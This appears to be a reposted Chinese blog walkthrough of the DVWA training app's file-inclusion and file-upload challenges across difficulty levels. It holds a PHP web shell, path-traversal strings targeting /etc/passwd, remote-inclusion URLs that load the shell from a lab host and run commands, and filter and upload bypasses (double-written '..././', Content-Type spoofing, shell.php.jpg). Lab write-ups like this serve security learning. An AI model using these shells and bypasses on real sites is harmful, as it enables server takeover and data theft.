自学内容网 自学内容网

dvwa:文件包含、文件上传

文件包含

本地文件包含(敏感信息泄露)和远程文件包含(命令执行)

  • 本地文件包含一般包含一些本地的敏感文件,如:/etc/passwd或/etc/shadow等

测试环境

本地文件包含不用什么测试环境,只要有个文件,就能知道其是否触发,远程文件包含需要我们写个php代码,如下

<?php
echo "this is the remote file"."\n";
system($_GET['a']);
?>

然后python -m http.server 开个服务器,让dvwa能包含我们的php代码

easy
  • linux服务下的本地文件包含

../../../../../../etc/passwd
  • windows服务下的本地文件包含

我的php网站部署在F盘,在F盘下放一个test.txt
​
../../../../../../test.txt能将文件读出
或者直接绝对路径:
​
C:/Windows/system.ini
  • 远程文件包含

http://www.oswe.com/dvwa/vulnerabilities/fi/?page=http://192.168.72.162:8000/shell.php&a=whoami
​
访问成功如下图:

 

medium
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
​
方法1:
直接输入绝对路径
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=F:/test.txt
正常输出
​
方法2:双写绕过
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=
..././..././..././..././..././..././..././..././test.txt
​
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.72.162:8000/shell.php&a=whoami
high
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
​
上面的逻辑是,如果参数没有file字符串,且不是include.php,直接过滤,所以这个情况不能使用远程文件包含了
我们通过伪协议file bypass
​
page=file:///C:/Windows/system.ini或
page=file:///../../../../../../../../test.txt
impossible
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
​
后台只允许包含这4个文件

文件上传

文件上传只有medium、high、impossible三种难度

准备个php脚本

<?php
system($_GET['a']);
?>
medium
检测:请求头
​
抓包,修改数据包,直接过
Content-Type: image/jpeg
high
检测:后缀是否为jpg、jpeg、png
​
上传
shell.php.jpg或shell.php.png都能被解析为php文件(总感觉哪里很怪)

 

impossible
imagecreatefrompng
imagecreatefromjpeg
由文件或url创建一个新图像,如果解析图像失败会报错
​
上传的文件会成为md5值.png或md5值.jpg的形式,web服务器不会将其解析为php文件

原文地址:https://blog.csdn.net/anddddoooo/article/details/142790567

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!